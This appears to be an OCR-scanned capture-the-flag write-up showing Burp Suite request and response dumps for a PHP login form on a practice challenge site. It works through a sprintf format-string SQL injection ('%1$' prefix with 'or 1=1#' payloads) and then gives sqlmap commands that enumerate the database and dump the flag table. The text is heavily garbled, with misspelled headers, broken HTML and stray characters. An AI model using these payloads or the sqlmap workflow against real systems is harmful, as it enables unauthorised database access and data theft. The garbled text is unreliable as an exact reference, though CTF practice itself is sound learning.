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Warning: sprintf(): Too few arguments in ivarhwwwihtml/index.php on line 18

Warning: mysqli::query(): Empty query in variwww/htmllindex.php on line 19
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Request Response

Raw [ Params | Headers | Hex Raw | Headers | Hex | HTML TRender ]

POST / HTTP/1.1 A HTTP/1.1 200 OK
Host: e337723ef5e947e595d86721bc2a14d568711d6de8174c19. changame. ichungiu. com - Date: Tue, 06 Aug 2019 05:35:32 GMT n
User-Agent: Mozillas5.8 (X11: Linux xB86_64; rv:60.0] Gecko/20100101 Firefox/608.0 Content-Type: text/html
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,4/+%;q=0.8 Content-Length: 1258
Accept-Language: en-US,en;g=0.5 Connection: close
Accept-Enceding: gzip, deflate Vary: Accept-Encoding
Referer: Vary: Accept-Enceding
http://e3377a3ef5e947e595d86721bc2a14d568711d6de8174c19. changame. ichungiu. com/ X-Via-JSL: 7237956, -
Content-Type: application/x-www-form-urlencoded X-Cache: bypass
Content-Length: 25
Cookle: UM_distinctid=16b2a6aB86a59-09236a81e2363-396b4645-184654-16b2a6aB6a7196; <br /=
pgv_pvi=6517214208; Hm_lvt_2d0601bd2Bde7d43818249c735d95943=1559784754, 1560138804 ; <b=Warning</b=: sprintf(): Too few arguments in <b=/var/www/html/index.php</b> on
_ jsluid_h=ed532d40cc495f37e2980dd6eaddzef line =b=18</b=<br /=
Connection: close <br /=
Upgrade-Insecure-Requests: 1 <b=Warning=/b=: mysqli::query(): Empty query in <b=/var/www/html/index.php=</b= on
line <b=19</b=<br /=
username=%25&password=123 =IDOCTYPE html=
<html>
<head lang="en"=
<meta charset="UTF-&">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
=meta name="viewport" content="width=device-width, initial-scale=1">
=meta name="format-detection” content="telephone=no"=
<meta name="renderer" content="webkit"=
=meta http-equiv="Cache-Control" content="no-siteapp" /=
«link rel="stylesheet" href="css/amazeui.min.css"/>
</head>
<body>
<div class="am-g">
=div class="am-u-1lg-6 am-u-md-& am-u-sm-centered"=
<form method="post" class="am-form"=
<label for="uname"=@PH:</label>
<input type="text" name="username" id="email" value=""=>
<br=
<label for="password">E@:</label=
<input type="password® name="password" id="password" value=""s
<br=
<div class="am-cf">
<input type="submit" name="" value="8 &' class="am-btn am-btn-primary
am-btn-sm am-fl">
<fdiv=
=fform=
<hr= [
- <fdiv=
v =fdiv=
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¥t payload:

username=admin%1$\' or 1=1#

username=admin%1$\' or 1=2#
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Request Response

Raw | Params | Headers | Hex

Raw | Headers | Hex | HTML IRender ]

POST / HTTR/1.1

Host: e3377a3ef5e947e595d86721bc2al4d568711d6de8174c19. changame. ichungiu. com
User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer:
http://e3377a3ef5e947e595d86721bc2al4d568711d6de8174c19. changame. ichungiu. com/
Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cockie: UM_distinctid=16b2a6a86a59-09236a81e236a-396b4645-184654-16b2a6a86a7196;
pov_pvi=6517214208; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1559784754,1560138804;
__Jisluild_h=ed532d40cc405737e0080dd6eadq92ef

Connection: close

Upgrade-Insecure-Reguests: 1

username=admin%15\' or 1l=1f &password=123

'y HTTP/1.1 288 DK
- Date: Tue, 06 Aug 2019 05:47:40 GMT
Content-Type: text/html
Content-Length: 1043
Connection: close
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Via-JSL: 7237956, -
X-Cache: bypass
password error!<IDOCTYPE html=
<html=
<head lang="en"=>
<meta charset="UTF-8">
<mets http-equiv="X-UA-Compatible" content="IE=edge">
=meta viewport" content="width=device-width, initial-scale=1">
<meta format-detection” content="telephone=no">
<meta name="renderer" content="webkit"=
<meta http-equiv="Cache-Control" centent="no-siteapp" /=
<link rel="stylesheet" href="css/amszeui.min.css"/>
=/head>
<body=
<div class="am-g">
=div class="am-u-lg-6 am-u-md-8 am-u-sm-centered"=
=form method="post" class="am-form">
<label for="uname"=MAPHE:</label=
<input type="text" name="username" id="email" value
=<br=
=label for="password">B@l:</1label>
=input type="password" name="password" id="password" value=""=
<br=
=div class="am-cf">
<input type="submit" name="" value="# #®" class="am-btn am-btn-primary
am-btn-sm am-fl">
=fdiv=
</form=
<hr=
</div>
=fdiv=
</body=
</html=
=
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Response

Raw | Headers | Hex | HTML ]’Render}

POST / HTTP/1.1

Host: e3377a3ef5e947e595d86721bc2a14d568711d6de8174c19. changame. ichungiu. com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rvi60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9,*/%;0=0.8
Accept-Language: en-US,en;:;g=0.5

Accept-Encoding: gzip, deflate

Referer:
http://e3377a3ef5e9472595d86721bc2a14d568711dede8174c19, changame. ichungiu. com/
Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cookie: UM_distinctid=16b2a6aB6a59-09236a81e236a-396b4645-1684654-16b2a6aB6a7196;
pov_pvi=6517214206; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1559784754, 1560138804;
__jsluid_h=ed532d40cc495737e0980dd6eadda2ef

Connection: close

Upgrade-Insecure-Requests: 1

username=admin%15\' or 1=2F Gpassword=123

B Msqlmap® BT RIS H: —prefix="%1$"4k 525

oot/Desktop/222/dsaf.txt"’

HTTP/1.1 2008 OK

Date: Tue, 06 Aug 2019 05:48:45 GMT
Content-Type: text/html
Content-Length: 1043

Connection: close

Vary: Accept-Enceding

Vary: Accept-Encoding

X-Via-JSL: 7237956, -

¥-Cache: bypass

T

username error!</DOCTYPE html=
<html=
=head lang="en"=
<meta charset="UTF-8">
<meta http-equiv="x-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1"=
<meta "format-detection” content="telephone=no"=
=<meta ‘renderer” content="webkit"=
<meta http-equiv="Cache-Control" content="no-siteapp" />
<link rel="stylesheet" href="css/amazeui.min.css"/>
</head=>
<body=
=div class="am-g"=
<div class="am-u-1g-& am-u-md-8 am-u-sm-centered"=
=form method="post" class="am-form">
<label for="uname">RPH:</label>
<input type="text" name="username" id="email" value=
<br=

<=label for="password">E@:</label>

<input type="password" name="password" id="password" value="">
<br=
<div class="am-cf">
<input type="submit" name="" value="# R" class="am-btn am-btn-primary
am-btn-sm am-fl"=
<fdiv=
</form=
<hr=
</div=
=/div=
</body>
=/html>

-p username




[ ] [INFO] POST parameter 'username' appears to be 'MySQL == 5.0.12 AND time-based blind (query SLEEP)' in
jectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads spfor the remaining tests, do you
ant to include all tests for 'MySQL' extending [ I ] testing 'Generic UNION query (NULL) - 1 to 20 co
Lumns '
[ 10 ] automatically extending ranges for UNION query injection technique tests
ne other (potential) technique found
[ 1 I ] target URL appears to be UNION injectable with 4 columns
injection not exploitable with NULL values. Do you want to try with a random int|[
ed SOL injection is not detected, ple consider forcing the back-end DBMS (e.g.
1 I ] checking if the injection point on POST parameter i

Parame - name (POST)
Type: ti based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: username=admin%1%\' AND (SELECT 3309 FROM (SELECT(SLEEP(5)))uzIS)-- aKcZ&password=123

[ ] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.12 htt log.cedn.netkey_

sqlmap -r'/root/Desktop/222/dsaf.txt' --prefix="%1$\'" -p username --dbs

available database
[*] ctf
[*] information schema

sqlmap -r'/root/Desktop/222/dsaf.txt' --prefix="%1$\'" -p username --tables -D"ctf"

Database: ctf
[2 tables]

-p username --columns -T"flag" -D"ctf" --dump

e: ctf
able: flag
[1 entry]

flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1} T & Zlflag~
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